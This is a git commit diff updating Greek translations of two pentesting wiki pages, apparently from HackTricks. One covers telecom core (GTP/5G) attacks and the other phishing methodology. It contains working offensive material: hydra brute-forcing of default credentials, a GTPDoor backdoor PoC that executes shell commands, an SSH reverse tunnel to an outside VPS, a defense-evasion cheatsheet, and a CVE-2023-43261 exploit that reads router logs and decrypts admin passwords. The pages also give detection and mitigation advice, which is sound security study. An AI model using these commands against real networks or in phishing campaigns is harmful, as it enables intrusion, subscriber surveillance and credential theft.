Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-10-09 00:52:35 +00:00
parent 2b92522422
commit bfed2b72e3
2 changed files with 292 additions and 202 deletions

View File

@ -1,27 +1,27 @@
# Εκμετάλλευση Δικτύου Τηλεπικοινωνιών (GTP / Roaming Environments)
# Εκμετάλλευση Δικτύων Τηλεπικοινωνιών (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Τα mobile-core πρωτόκολλα (GPRS Tunnelling Protocol GTP) συχνά διασχίζουν ημι-έμπιστες GRX/IPX roaming ραχοκοκαλιές. Επειδή ταξιδεύουν πάνω σε απλό UDP με σχεδόν καθόλου authentication, **οποιοδήποτε foothold εντός της τηλεπικοινωνιακής περίμετρου συνήθως μπορεί να φτάσει άμεσα τα core signalling planes**. Οι ακόλουθες σημειώσεις συγκεντρώνουν offensive tricks παρατηρημένα στο wild εναντίον SGSN/GGSN, PGW/SGW και άλλων EPC κόμβων.
> Τα πρωτόκολλα του mobile-core (GPRS Tunnelling Protocol GTP) συχνά διατρέχουν ημι-αξιόπιστες GRX/IPX roaming backbones. Επειδή κινούνται πάνω σε απλό UDP με σχεδόν καθόλου authentication, **οποιοδήποτε foothold εντός του περιγράμματος ενός τηλεπικοινωνιακού δικτύου συνήθως μπορεί να φτάσει απευθείας τα core signalling planes**. Οι παρακάτω σημειώσεις συγκεντρώνουν επιθετικά κόλπα παρατηρημένα στο πεδίο εναντίον SGSN/GGSN, PGW/SGW και άλλων κόμβων EPC.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … A dedicated wordlist dramatically increases brute-force success:
Ένας εκπληκτικά μεγάλος αριθμός εξοπλισμού δικτύου προμηθευτών αποστέλλεται με hard-coded SSH/Telnet accounts όπως `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Ένα αφιερωμένο wordlist αυξάνει δραματικά την επιτυχία brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Εάν η συσκευή εκθέτει μόνο ένα management VRF, pivot μέσω ενός jump host πρώτα (βλέπε ενότητα «SGSN Emu Tunnel» παρακάτω).
Αν η συσκευή εκθέτει μόνο ένα management VRF, pivot μέσω ενός jump host πρώτα (βλέπε ενότητα «SGSN Emu Tunnel» παρακάτω).
### 1.2 Host Discovery μέσα στο GRX/IPX
Οι περισσότεροι χειριστές GRX εξακολουθούν να επιτρέπουν **ICMP echo** σε όλο το backbone. Συνδυάστε το `masscan` με τους ενσωματωμένους `gtpv1` UDP probes για να χαρτογραφήσετε γρήγορα τους ακροατές GTP-C:
### 1.2 Ανακάλυψη hosts μέσα στο GRX/IPX
Οι περισσότεροι χειριστές GRX εξακολουθούν να επιτρέπουν **ICMP echo** σε όλο το backbone. Συνδύασε το `masscan` με τους ενσωματωμένους `gtpv1` UDP probes για γρήγορη χαρτογράφηση των GTP-C listeners:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Απαρίθμηση Συνδρομητών `cordscan`
## 2. Εντοπισμός Συνδρομητών `cordscan`
Το ακόλουθο εργαλείο Go δημιουργεί πακέτα **GTP-C Create PDP Context Request** και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει την τρέχουσα **SGSN / MME** που εξυπηρετεί το ερωτηθέν IMSI και, μερικές φορές, το επισκεπτόμενο PLMN του συνδρομητή.
Το παρακάτω εργαλείο Go συνθέτει πακέτα **GTP-C Create PDP Context Request** και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει το τρέχον **SGSN / MME** που εξυπηρετεί το ερωτώμενο IMSI και, μερικές φορές, το PLMN που επισκέφθηκε ο συνδρομητής.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,10 +29,10 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Βασικά ορίσματα:
Key flags:
- `--imsi` IMSI του στοχευόμενου συνδρομητή
- `--oper` Home / HNI (MCC+MNC)
- `-w` Εγγραφή ακατέργαστων πακέτων σε pcap
- `-w` Καταγραφή raw πακέτων σε pcap
Σημαντικές σταθερές μέσα στο binary μπορούν να τροποποιηθούν για να διευρύνουν τις σαρώσεις:
```
@ -40,11 +40,11 @@ pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Code Execution over GTP `GTPDoor`
## 3. Εκτέλεση κώδικα μέσω GTP `GTPDoor`
`GTPDoor` είναι μια μικρή ELF υπηρεσία που **δένεται στο UDP 2123 και αναλύει κάθε εισερχόμενο GTP-C πακέτο**. Όταν το payload ξεκινά με ένα pre-shared tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω `/bin/sh -c`. Το stdout/stderr εξάγεται μέσα σε μηνύματα **Echo Response** έτσι ώστε να μην δημιουργείται ποτέ εξωτερική συνεδρία.
`GTPDoor` είναι μια μικρή ELF υπηρεσία που **δεσμεύει UDP 2123 και αναλύει κάθε εισερχόμενο πακέτο GTP-C**. Όταν το payload ξεκινά με ένα προ-κοινό tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω `/bin/sh -c`. Το stdout/stderr εξάγονται μέσα σε **Echo Response** μηνύματα ώστε να μην δημιουργηθεί ποτέ εξωτερική συνεδρία.
Ελάχιστο PoC πακέτο (Python):
Minimal PoC packet (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
@ -53,13 +53,13 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Ανίχνευση:
* οποιοδήποτε host που στέλνει **unbalanced Echo Requests** σε SGSN IPs
* σημαία έκδοσης GTP ορισμένη σε 1 ενώ message type = 1 (Echo) απόκλιση από τις προδιαγραφές
* οποιοσδήποτε host που στέλνει **unbalanced Echo Requests** σε SGSN IPs
* GTP version flag ορισμένο σε 1 ενώ message type = 1 (Echo) απόκλιση από τη προδιαγραφή
## 4. Pivoting μέσω του Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` παρέχει έναν SGSN emulator ικανό να **establish a PDP context towards a real GGSN/PGW**. Μόλις διαπραγματευτεί, το Linux λαμβάνει μια νέα διεπαφή `tun0` που είναι προσβάσιμη από τον roaming peer.
`OsmoGGSN` παρέχει έναν SGSN emulator ικανό να **εγκαθιδρύσει ένα PDP context προς ένα πραγματικό GGSN/PGW**. Μόλις ολοκληρωθεί η διαπραγμάτευση, το Linux αποκτά μια νέα διεπαφή `tun0` προσβάσιμη από το roaming peer.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
@ -69,21 +69,21 @@ microsocks -p 1080 & # internal SOCKS proxy
Με σωστό firewall hair-pinning, αυτός ο tunnel παρακάμπτει τα signalling-only VLANs και σας φέρνει απευθείας στο **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53
Το DNS είναι σχεδόν πάντα ανοιχτό σε υποδομές roaming. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στην :53 και επιστρέψτε αργότερα από το σπίτι:
Το DNS είναι σχεδόν πάντα ανοιχτό σε roaming υποδομές. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στη θύρα :53 και επιστρέψτε αργότερα από το σπίτι:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Ελέγξτε ότι `GatewayPorts yes` είναι ενεργοποιημένο στο VPS.
Ελέγξτε ότι το `GatewayPorts yes` είναι ενεργοποιημένο στο VPS.
## 5. Covert Channels
## 5. Κρυφά Κανάλια
| Channel | Transport | Decoding | Notes |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | καθαρός παθητικός listener, χωρίς εξερχόμενη κίνηση |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | παρακολουθεί για `*.nodep` υποτομέα |
| Κανάλι | Μεταφορά | Αποκωδικοποίηση | Σημειώσεις |
|--------|----------|-----------------|-----------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | παρακολουθεί για υποτομέα `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | συνδυάζεται με νόμιμη GTP-C κίνηση |
Όλα τα implants υλοποιούν watchdogs που **timestomp** τα binaries τους και επανεκκινούνται αν καταρρεύσουν.
Όλα τα implants υλοποιούν watchdogs που **timestomp** τα binaries τους και re-spawn αν καταρρεύσουν.
## 6. Defense Evasion Cheatsheet
```bash
@ -119,59 +119,59 @@ rm -f /tmp/sh ; history -c
## 8. Tool Box
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling described in previous sections.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `FScan` : σάρωση TCP σε intranet (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Η διαδικασία εγγραφής 5G τρέχει πάνω από NAS (Non-Access Stratum) επάνω στο NGAP. Μέχρι να ενεργοποιηθεί η ασφάλεια NAS μέσω Security Mode Command/Complete, τα αρχικά μηνύματα είναι μη αυθεντικοποιημένα και μη κρυπτογραφημένα. Αυτό το παράθυρο προ-ασφάλειας επιτρέπει πολλαπλές διαδρομές επίθεσης όταν μπορείτε να παρατηρήσετε ή να παραποιήσετε την κίνηση N2 (π.χ., on-path μέσα στον core, rogue gNB, ή testbed).
Η διαδικασία εγγραφής 5G τρέχει πάνω από NAS (Non-Access Stratum) πάνω από NGAP. Μέχρι να ενεργοποιηθεί η NAS security μέσω Security Mode Command/Complete, τα αρχικά μηνύματα δεν είναι authenticated και δεν είναι encrypted. Αυτό το προ-ασφαλείας παράθυρο επιτρέπει πολλαπλές διαδρομές επίθεσης όταν μπορείτε να παρατηρήσετε ή να παραποιήσετε την N2 κίνηση (π.χ., on-path μέσα στο core, rogue gNB, ή testbed).
Registration flow (simplified):
- Registration Request: UE στέλνει SUCI (κρυπτογραφημένο SUPI) και capabilities.
- Authentication: AMF/AUSF στέλνουν RAND/AUTN; UE επιστρέφει RES*.
- Security Mode Command/Complete: NAS integrity και ciphering διαπραγματεύονται και ενεργοποιούνται.
- PDU Session Establishment: IP/QoS setup.
- Authentication: AMF/AUSF στέλνουν RAND/AUTN; το UE επιστρέφει RES*.
- Security Mode Command/Complete: διαπραγματεύονται και ενεργοποιούνται NAS integrity και ciphering.
- PDU Session Establishment: setup IP/QoS.
Lab setup tips (non-RF):
- Core: Open5GS default deployment είναι επαρκές για την αναπαραγωγή των flows.
- UE: simulator ή test UE; decode με Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly χωρίς να σηκωθεί πλήρες rogue gNB).
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly χωρίς να ανεβάσετε πλήρες rogue gNB).
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Αναμενόμενο: UE/USIM πρέπει να μεταδίδει SUCI (SUPI κρυπτογραφημένο με το public key του home-network). Η εύρεση ενός plaintext SUPI/IMSI στο Registration Request υποδεικνύει έλλειψη ιδιωτικότητας που επιτρέπει επίμονη παρακολούθηση συνδρομητών.
Αναμενόμενο: UE/USIM πρέπει να μεταδίδει SUCI (SUPI κρυπτογραφημένο με το public key του home-network). Η εύρεση ενός plaintext SUPI/IMSI στο Registration Request υποδεικνύει πρόβλημα ιδιωτικότητας που επιτρέπει μόνιμο tracking συνδρομητή.
Πώς να το δοκιμάσετε:
- Capture το πρώτο NAS μήνυμα στο InitialUEMessage και εξετάστε το Mobile Identity IE.
How to test:
- Capture το πρώτο NAS μήνυμα στο InitialUEMessage και επιθεωρήστε το Mobile Identity IE.
- Wireshark quick checks:
- Θα πρέπει να αποκωδικοποιείται ως SUCI, όχι IMSI.
- Παραδείγματα φίλτρων: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` θα πρέπει να υπάρχει; η απουσία του μαζί με την παρουσία `imsi` υποδεικνύει leak.
- Πρέπει να decode ως SUCI, όχι IMSI.
- Παραδείγματα φίλτρων: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` πρέπει να υπάρχει; η απουσία του μαζί με την παρουσία `imsi` υποδεικνύει διαρροή.
Τι να συλλέξετε:
- MCC/MNC/MSIN αν εκτίθενται; log ανά-UE και παρακολούθηση σε χρόνο/τοποθεσίες.
What to collect:
- MCC/MNC/MSIN αν εκτίθενται; καταγράψτε ανά-UE και παρακολουθήστε σε χρόνο/τοποθεσίες.
Αντιμετώπιση:
- Επιβάλλετε SUCI-only UEs/USIMs; alert σε οποιοδήποτε IMSI/SUPI στο αρχικό NAS.
Mitigation:
- Εφαρμόστε SUCI-only UEs/USIMs; alert σε οποιοδήποτε IMSI/SUPI στο αρχικό NAS.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE διαφημίζει υποστηριζόμενα EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request.
- Κοινές αντιστοιχίσεις: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms.
- Το UE ανακοινώνει τις υποστηριζόμενες EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request.
- Συνηθισμένες αντιστοιχίσεις: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms.
Issue:
- Επειδή το Registration Request δεν είναι integrity protected, ένας on-path attacker μπορεί να καθαρίσει bits δυνατοτήτων για να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services.
- Επειδή το Registration Request δεν είναι integrity protected, ένας on-path attacker μπορεί να καθαρίσει bits των capabilities για να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services.
Offensive steps:
- Intercept το InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να διαφημίζει μόνο EEA0/EIA0.
- Intercept το InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να ανακοινώνει μόνο EEA0/EIA0.
- Με Sni5Gect, hook το NAS μήνυμα και patch τα capability bits πριν το προωθήσετε.
- Παρατηρήστε αν το AMF αποδέχεται null ciphers/integrity και ολοκληρώνει το Security Mode με EEA0/EIA0.
- Παρατηρήστε εάν το AMF αποδέχεται null ciphers/integrity και ολοκληρώνει το Security Mode με EEA0/EIA0.
Verification/visibility:
- Στο Wireshark, επιβεβαιώστε τους επιλεγμένους αλγόριθμους μετά το Security Mode Command/Complete.
- Στο Wireshark, επιβεβαιώστε τα selected algorithms μετά το Security Mode Command/Complete.
- Example passive sniffer output:
```
Encyrption in use [EEA0]
@ -179,13 +179,13 @@ Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Μέτρα αντιμετώπισης (υποχρεωτικά):
- Διαμορφώστε AMF/policy ώστε να απορρίπτει EEA0/EIA0 εκτός όπου είναι αυστηρώς επιβεβλημένο (π.χ., κλήσεις έκτακτης ανάγκης).
- Προτιμήστε την επιβολή EEA2/EIA2 ως ελάχιστο · καταγράψτε και ειδοποιήστε (log and alarm) για οποιονδήποτε NAS security context που διαπραγματεύεται null algorithms.
- Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls).
- Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.
### 9.3 Replay του αρχικού Registration Request (pre-security NAS)
Επειδή το αρχικό NAS στερείται ακεραιότητας και φρεσκάδας, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να επαναληφθεί προς το AMF.
Επειδή το αρχικό NAS στερείται ακεραιότητας και φρεσκάδας, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να replayed στο AMF.
PoC rule for 5GReplay to forward matching replays:
Κανόνας PoC για το 5GReplay για να προωθεί matching replays:
```xml
<beginning>
<property value="THEN"
@ -208,32 +208,91 @@ boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
Τι να παρατηρήσετε:
- Εάν το AMF αποδέχεται το replay και προχωρά στην Authentication· η έλλειψη επικύρωσης freshness/context υποδεικνύει ευπάθεια.
What to observe:
- Τι να παρατηρήσετε: Εάν το AMF αποδέχεται το replay και προχωρά στην Αυθεντικοποίηση· η έλλειψη ελέγχου φρεσκάδας/πλαισίου υποδεικνύει έκθεση.
Αντιμετώπιση:
- Επιβάλλετε replay protection/context binding στο AMF· εφαρμόστε rate-limit και συσχέτιση ανά GNB/UE.
Mitigations:
- Αντιμετώπιση: Επιβάλετε replay protection/context binding στο AMF· εφαρμόστε rate-limit και συσχέτιση ανά GNB/UE.
### 9.4 Συμβουλές για εργαλεία (αναπαραγώγιμα)
- Open5GS: ξεκινήστε ένα AMF/SMF/UPF για να προσομοιώσετε το core· παρατηρήστε N2 (NGAP) και NAS.
- Wireshark: επαληθεύστε τις αποκωδικοποιήσεις των NGAP/NAS· εφαρμόστε τα φίλτρα παραπάνω για να απομονώσετε την Registration.
- 5GReplay: καταγράψτε μια registration, και μετά replay συγκεκριμένα μηνύματα NGAP + NAS σύμφωνα με τον κανόνα.
- Sni5Gect: live sniff/modify/inject NAS control-plane για να εξαναγκάσετε null algorithms ή να διαταράξετε authentication sequences.
### 9.4 Tooling pointers (reproducible)
- Open5GS: αναπτύξτε ένα AMF/SMF/UPF για να προσομοιώσετε τον core· παρατηρήστε N2 (NGAP) και NAS.
- Wireshark: επαληθεύστε τις αποκωδικοποιήσεις των NGAP/NAS· εφαρμόστε τα παραπάνω φίλτρα για να απομονώσετε το Registration.
- 5GReplay: καταγράψτε μια Registration, στη συνέχεια replay συγκεκριμένα μηνύματα NGAP + NAS σύμφωνα με τον κανόνα.
- Sni5Gect: live sniff/modify/inject του NAS control-plane για να εξαναγκάσετε null algorithms ή να διαταράξετε τις authentication sequences.
### 9.5 Λίστα ελέγχου άμυνας
- Επιθεωρείτε συνεχώς το Registration Request για plaintext SUPI/IMSI· μπλοκάρετε τις συσκευές/USIMs που παραβιάζουν.
- Απορρίψτε EEA0/EIA0 εκτός από στενά ορισμένες διαδικασίες έκτακτης ανάγκης· απαιτήστε τουλάχιστον EEA2/EIA2.
- Εντοπίστε rogue ή κακώς διαμορφωμένη υποδομή: μη εξουσιοδοτημένα gNB/AMF, απρόσμενοι N2 peers.
### 9.5 Defensive checklist
- Λίστα ελέγχου άμυνας: Επιθεωρείτε συνεχώς τα Registration Request για plaintext SUPI/IMSI· μπλοκάρετε τις συσκευές/USIMs που παραβιάζουν.
- Απορρίψτε EEA0/EIA0 εκτός από αυστηρά ορισμένες διαδικασίες έκτακτης ανάγκης· απαιτήστε τουλάχιστον EEA2/EIA2.
- Ανιχνεύστε rogue ή λανθασμένα διαμορφωμένη υποδομή: μη εξουσιοδοτημένα gNB/AMF, απροσδόκητοι N2 peers.
- Ειδοποιήστε για NAS security modes που οδηγούν σε null algorithms ή σε συχνά replays του InitialUEMessage.
---
## 10. Industrial Cellular Routers Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Η κατάχρηση εκτεθειμένων web APIs βιομηχανικών Cellular Routers επιτρέπει stealthy, carrier-origin smishing σε μεγάλη κλίμακα. Οι Milesight UR-series routers εκθέτουν ένα JSON-RPCstyle endpoint στο `/cgi`. Όταν είναι λανθασμένα διαμορφωμένοι, το API μπορεί να ερωτηθεί χωρίς authentication για να απαριθμήσει τα εισερχόμενα/εξερχόμενα SMS και, σε κάποιες εγκαταστάσεις, να στείλει SMS.
Τυπικά μη-επαληθευμένα αιτήματα (ίδια δομή για εισερχόμενα/εξερχόμενα):
```http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
```
```json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
```
Οι απαντήσεις περιλαμβάνουν πεδία όπως `timestamp`, `content`, `phone_number` (E.164), και `status` (`success` ή `failed`). Επαναλαμβανόμενες αποστολές με κατάσταση `failed` προς τον ίδιο αριθμό είναι συχνά attacker “capability checks” για να επιβεβαιώσουν ότι ένας router/SIM μπορεί να παραδώσει πριν το blasting.
Παράδειγμα curl για exfiltrate SMS metadata:
```bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
```
Σημειώσεις σχετικά με auth artifacts:
- Κάποια κίνηση μπορεί να περιλαμβάνει ένα auth cookie, αλλά ένα μεγάλο μέρος των εκτεθειμένων συσκευών απαντά χωρίς οποιαδήποτε authentication στις `query_inbox`/`query_outbox` όταν το management interface είναι Internet-facing.
- Σε περιβάλλοντα που απαιτούν auth, previously-leaked credentials (see below) αποκαθιστούν την πρόσβαση.
Credential recovery path CVE-2023-43261:
- Επηρεαζόμενες οικογένειες: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Πρόβλημα: web-served logs (π.χ. `httpd.log`) είναι προσβάσιμα χωρίς authentication κάτω από `/lang/log/` και περιέχουν admin login events με το password κρυπτογραφημένο χρησιμοποιώντας ένα hardcoded AES key/IV που υπάρχει σε client-side JavaScript.
- Πρακτική πρόσβαση και decrypt:
```bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
```
Ελάχιστο Python script για να decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):
```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
```
Ιδέες hunting και ανίχνευσης (network):
- Ειδοποίηση για μη-επαληθευμένο `POST /cgi` του οποίου το JSON body περιέχει `base`/`function` ορισμένο σε `query_inbox` ή `query_outbox`.
- Παρακολούθηση επαναλαμβανόμενων `POST /cgi` bursts ακολουθούμενων από `status":"failed"` εγγραφές σε πολλούς μοναδικούς αριθμούς από την ίδια source IP (capability testing).
- Inventory Internet-exposed Milesight routers; περιορίστε τη διαχείριση σε VPN; απενεργοποιήστε λειτουργίες SMS εκτός αν απαιτούνται; αναβαθμίστε σε ≥ v35.3.0.7; περιστρέψτε credentials και ελέγξτε SMS logs για άγνωστα sends.
Shodan/OSINT pivots (παραδείγματα που εντοπίστηκαν στον πραγματικό κόσμο):
- `http.html:"rt_title"` matches Milesight router panels.
- Google dorking για εκτεθειμένα logs: `"/lang/log/system" ext:log`.
Λειτουργικός αντίκτυπος: η χρήση νόμιμων carrier SIMs εντός routers παρέχει πολύ υψηλή SMS deliverability/credibility για phishing, ενώ η έκθεση των inbox/outbox leaks ευαίσθητα metadata σε μεγάλη κλίμακα.
---
## Ιδέες Ανίχνευσης
1. **Οποιαδήποτε συσκευή, εκτός από SGSN/GGSN, που προβαίνει σε Create PDP Context Requests**.
2. **Μη-τυπικές θύρες (53, 80, 443) που δέχονται SSH handshakes** από εσωτερικά IPs.
3. **Συχνά Echo Requests χωρίς αντίστοιχα Echo Responses** μπορεί να υποδεικνύουν GTPDoor beacons.
4. **Υψηλός ρυθμός ICMP echo-reply κυκλοφορίας με μεγάλα, μη-μηδενικά πεδία identifier/sequence**.
5. 5G: **InitialUEMessage που μεταφέρει NAS Registration Requests επαναλαμβανόμενα από τα ίδια endpoints** (σήμα replay).
6. 5G: **NAS Security Mode που διαπραγματεύεται EEA0/EIA0** εκτός συμφραζομένων έκτακτης ανάγκης.
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
## References
@ -243,5 +302,8 @@ boolean_expression="nas_5g.message_type == 65"/>
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,43 +1,43 @@
# Phishing Μεθοδολογία
# Phishing Methodology
{{#include ../../banners/hacktricks-training.md}}
## Μεθοδολογία
1. Recon τον στόχο
1. Επιλέξτε το **domain του θύματος**.
2. Εκτελέστε βασική web αναγνώριση **αναζητώντας portals σύνδεσης** που χρησιμοποιεί το θύμα και **αποφασίστε** ποιο από αυτά θα **προσποιηθείτε**.
3. Χρησιμοποιήστε OSINT για να **εντοπίσετε emails**.
1. Recon του θύματος
1. Επιλέξτε το **victim domain**.
2. Εκτελέστε κάποια βασική web enumeration **αναζητώντας πύλες σύνδεσης** που χρησιμοποιεί το θύμα και **αποφασίστε** ποια θα **παραστήσετε**.
3. Χρησιμοποιήστε OSINT για να **εντοπίσετε διευθύνσεις email**.
2. Προετοιμάστε το περιβάλλον
1. **Αγοράστε το domain** που θα χρησιμοποιήσετε για την αξιολόγηση phishing
2. **Διαμορφώστε τις εγγραφές** του email service (SPF, DMARC, DKIM, rDNS)
1. **Buy the domain** που θα χρησιμοποιήσετε για την phishing αξιολόγηση
2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS)
3. Διαμορφώστε το VPS με **gophish**
3. Προετοιμάστε την καμπάνια
1. Προετοιμάστε το **πρότυπο email**
2. Προετοιμάστε τη **σελίδα web** για να υποκλέψετε τα διαπιστευτήρια
4. Εκκινήστε την καμπάνια!
1. Ετοιμάστε το **email template**
2. Ετοιμάστε τη **web page** για να υποκλέψετε τα διαπιστευτήρια
4. Ξεκινήστε την καμπάνια!
## Generate similar domain names or buy a trusted domain
### Domain Name Variation Techniques
- **Keyword**: Το όνομα domain **περιέχει** μια σημαντική **λέξη-κλειδί** του αρχικού domain (π.χ., zelster.com-management.com).
- **hypened subdomain**: Αλλάξτε το **dot σε παύλα** ενός υποτομέα (π.χ., www-zelster.com).
- **New TLD**: Ίδιο domain χρησιμοποιώντας **νέο TLD** (π.χ., zelster.org)
- **Homoglyph**: **Αντικαθιστά** ένα γράμμα στο όνομα domain με **γράμματα που μοιάζουν** (π.χ., zelfser.com).
- **Keyword**: Το όνομα domain **περιέχει** μια σημαντική **λέξη-κλειδί** του αρχικού domain (e.g., zelster.com-management.com).
- **hypened subdomain**: Αλλάξτε την **τελεία για παύλα** ενός subdomain (e.g., www-zelster.com).
- **New TLD**: Το ίδιο domain χρησιμοποιώντας ένα **new TLD** (e.g., zelster.org)
- **Homoglyph**: Αντικαθιστά ένα γράμμα στο όνομα domain με **γράμματα που μοιάζουν** (e.g., zelfser.com).
{{#ref}}
homograph-attacks.md
{{#endref}}
- **Transposition:** Ανταλλάσσει δύο γράμματα μέσα στο όνομα domain (π.χ., zelsetr.com).
- **Singularization/Pluralization**: Προσθέτει ή αφαιρεί “s” στο τέλος του ονόματος domain (π.χ., zeltsers.com).
- **Omission**: Αφαιρεί ένα από τα γράμματα του ονόματος domain (π.χ., zelser.com).
- **Repetition:** Επαναλαμβάνει ένα από τα γράμματα στο όνομα domain (π.χ., zeltsser.com).
- **Replacement**: Όπως το homoglyph αλλά λιγότερο stealthy. Αντικαθιστά ένα από τα γράμματα στο όνομα domain, ίσως με γράμμα κοντά στο πληκτρολόγιο (π.χ., zektser.com).
- **Subdomained**: Εισάγει ένα **dot** μέσα στο όνομα domain (π.χ., ze.lster.com).
- **Insertion**: Εισάγει ένα γράμμα στο όνομα domain (π.χ., zerltser.com).
